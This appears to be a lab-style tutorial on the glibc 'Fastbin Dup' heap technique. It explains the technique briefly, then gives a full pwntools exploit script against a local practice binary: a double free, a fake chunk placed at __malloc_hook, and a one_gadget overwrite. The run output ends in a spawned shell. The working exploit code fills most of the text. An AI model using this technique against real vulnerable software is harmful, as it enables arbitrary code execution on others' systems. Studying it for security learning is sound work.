Fastbin Dup
Technique
The Fastbin Dup technique exploits a double-free vulnerability to trick malloc
into returning the same chunk twice. By manipulating the chunk's metadata, such as the fd
pointer, an attacker can control where the next chunk is allocated, effectively gaining an arbitrary read/write primitive.
Warning
The fastbin size field check during allocation limits the candidates for fake chunks. If the size is not valid, an exception will be raised. You can use the find_fake_fast_chunk
function to find valid candidates for fake chunks (i.e. find_fake_fast &__malloc_hook
).
Exploit Script
#!/usr/bin/env python3
from pwn import *
def username(name):
io.sendlineafter(b"username:", name)
def malloc(size, data, shell=False):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"size: ", str(size).encode())
if shell: io.interactive()
io.sendafter(b"data: ", data)
def free(idx):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"index: ", str(idx).encode())
def read_leak():
io.recvuntil(b"puts() @ ")
return int(io.recvline().strip(), 16)
# -----[ CONTEXT ]-----
BINARY = "./fastbin_dup"
LIBC = "../.glibc/glibc_2.30_no-tcache/libc.so.6"
elf = context.binary = ELF(BINARY)
libc = ELF(LIBC)
# context.log_level = "debug"
# -----[ EXPLOIT ]-----
io = process([BINARY])
# Read the leak & calculate the addresses
puts = read_leak()
libc.address = puts - libc.sym["puts"]
malloc_hook = libc.sym["__malloc_hook"]
print(f"puts: {hex(puts)}")
print(f"libc: {hex(libc.address)}")
print(f"malloc_hook: {hex(malloc_hook)}")
# Use one_gadget to get shell
one_gadget = libc.address + 0xe1fa1
username(b"A" * 8)
malloc(0x68, b"A" * 0x68)
malloc(0x68, b"B" * 0x68)
# Double free the first chunk
# Free another chunk between to avoid security exceptions
free(0)
free(1)
free(0)
# Address of a valid fake chunk to overwrite the malloc_hook
target = malloc_hook - 0x23
print(f"target: {hex(target)}")
malloc(0x68, p64(target))
malloc(0x68, b"B" * 0x68)
malloc(0x68, b"C" * 0x68)
# Overwrite the malloc_hook with one_gadget
malloc(0x68, b"\x00" * 0x13 + p64(one_gadget))
# Get shell
malloc(0x1, b"", shell=True)
io.interactive()
Execution
$ python3 xpl_fastbin_dup.py
[+] Starting local process './fastbin_dup': pid 62335
puts: 0x7a691ce6faf0
libc: 0x7a691ce00000
malloc_hook: 0x7a691d1b4b50
target: 0x7a691d1b4b2d
[*] Switching to interactive mode
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)